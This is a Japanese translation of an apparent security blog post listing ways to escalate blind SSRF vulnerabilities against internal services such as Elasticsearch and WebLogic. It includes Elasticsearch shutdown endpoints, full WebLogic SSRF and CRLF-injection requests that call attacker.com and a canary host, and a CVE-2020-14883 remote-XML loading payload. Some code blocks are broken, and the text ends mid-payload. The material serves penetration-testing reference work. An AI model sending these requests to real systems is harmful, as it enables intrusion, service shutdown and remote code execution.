
Blind SSRF脆弱性を連鎖させるすべての可能な方法の網羅的なリスト
Server Side Request Forgery(SSRF)は、サーバーに任意のリクエストを代行させることができる状態を指します。サーバーがリクエストを実行するため、ネットワーク上の位置によっては内部リソースにアクセスできる可能性があります。クラウド環境では、機密の認証情報やシークレットを含む可能性のあるメタデータエンドポイントが存在するため、SSRFはより重大なリスクをもたらします。
サーバーサイドリクエストフォージェリを悪用する際、レスポンスを読み取れない状況に遭遇することがよくあります。業界では、この動作は「ブラインドSSRF」と呼ばれています。そのような状況で、どのように影響を証明するのでしょうか?これはJustin Gardner氏がTwitterで提起した興味深い議論です:
最近、大量のブラインドSSRFを見つけています。これまでに皆さんはどのようなワンショットRCEをピボットとして使ったことがありますか?Kafkaやその他いろいろなものにアクセスできる状態です。 @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) 2021年1月13日
内部リソースにアクセスできる場合、影響を証明するために実行可能なエクスプロイトチェーンがいくつかあります。このブログ記事では、ブラインドSSRFを利用する際の既知のエクスプロイトチェーンについて詳しく説明し、新しいテクニックが発見・共有されるたびに更新されます。
テクニックを見逃している場合は、ツイートまたはDMでお知らせください:@assetnote まで。このブログに追加します。
私はそれらをSSRFカナリアと呼ぶ傾向があります。ブラインドSSRFを内部の別のSSRFにチェーンし、外部に追加のコールを行う場合や、アプリ固有のオープンリダイレクトやブラインドXXEを使う場合です。Confluence、Artifactory、Jenkins、JAMFにはうまく機能するものがあります。
— Frans Rosén (@fransrosen) 2021年1月13日
内部サービスやアプリケーションとやり取りできることを確認するために、「SSRFカナリア」を利用できます。
これは、別のSSRFを実行し、カナリアホストにコールバックする内部URLをリクエストする場合です。カナリアホストにリクエストを受信した場合、それはアウトバウンドリクエストも実行可能な内部サービスに正常にアクセスできたことを意味します。
これは、SSRF脆弱性が内部ネットワークやアプリケーションにアクセスできること、また内部ネットワーク上に特定のソフトウェアが存在することを確認する効果的な方法です。また、SSRFカナリーの位置によっては、内部ネットワークのより機密性の高い部分にピボットすることも可能です。
可能な限り多くの内部ホストを見つけることを目的として、DNSデータソースを利用して内部ホストを指すすべてのレコードを見つけることができます。
クラウド環境では、内部VPC内のホストを指すELBをよく見かけます。ターゲットとするアセットがどのVPCにあるかによって、同じVPC内の他のホストにアクセスできる可能性があります。
例えば、DNSデータソースから次のようなホストが発見されたとします:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
`es`はElasticsearchを指すと仮定し、このホストに対してさらに攻撃を仕掛けることができます。また、この方法で特定されたすべての「内部」ホストに、これらのブラインドSSRFペイロードを一斉に送信することもできます。これは多くの場合効果的です。
さらに内部ホストを見つけるには、すべてのDNSデータを取得し、[AltDNS](https://github.com/infosec-au/altdns)のようなものを使用して順列を生成し、[高速DNSブルートフォーサー](https://github.com/blechschmidt/massdns)で解決することをお勧めします。
これが完了したら、新たに発見されたすべての内部ホストを特定し、それらをブラインドSSRFチェーンの一部として使用します。
## サイドチャネルリーク
ブラインドSSRFの脆弱性を悪用する際、返されるレスポンスに関する情報を漏洩できる場合があります。例えば、XXEを介したブラインドSSRFがあるとします。エラーメッセージは以下のようなことを示す可能性があります:
- レスポンスが返された
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
vs.
- ホストとポートに到達できない
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
同様に、XXE以外でも、Webアプリケーションは以下の違いを調査することで特定できるサイドチャネルリークを持つ可能性があります:
- **レスポンスステータスコード**:
オンラインの内部アセット:ポートは`200 OK`で応答するのに対し、オフラインの内部アセット:ポートは`500 Internal Server Error`
- **レスポンス内容**:
レスポンスサイズ(バイト)は、リクエストしようとしているURLに到達可能かどうかによって小さくなったり大きくなったりします。
- **レスポンスタイミング**:
レスポンス時間は、リクエストしようとしているURLに到達可能かどうかによって遅くなったり速くなったりします。
---------------
# テクニック
**HTTP(s)経由で可能**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Other Atlassian Products](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**Gopher経由で可能**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**ツール**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**HTTP(s)経由で可能**
<div id="elasticsearch"></div>
## Elasticsearch
**一般的にバインドされるポート: 9200**
Elasticsearchが内部にデプロイされている場合、通常は認証を必要としません。
ステータスコードを判断できる部分的なブラインドSSRFがある場合、以下のエンドポイントが200を返すかどうかを確認してください:```http
/_cluster/health
/_cat/indices
/_cat/health
盲目的なSSRFがあり、POSTリクエストを送信できる場合、以下のパスにPOSTリクエストを送信することでElasticsearchインスタンスをシャットダウンできます。
注: _shutdown APIはElasticsearchバージョン2.x以上で削除されました。これはElasticsearch 1.6以下の場合にのみ機能します。```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**一般的にバインドされるポート: 80, 443 (SSL), 7001, 8888**
**SSRFカナリー: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
これはGETでも動作します:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
このエンドポイントはCRLFインジェクションに対しても脆弱です:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
次のリクエストになります:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
出典: [こちら](https://forum.90sec.com/t/topic/1412).
Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117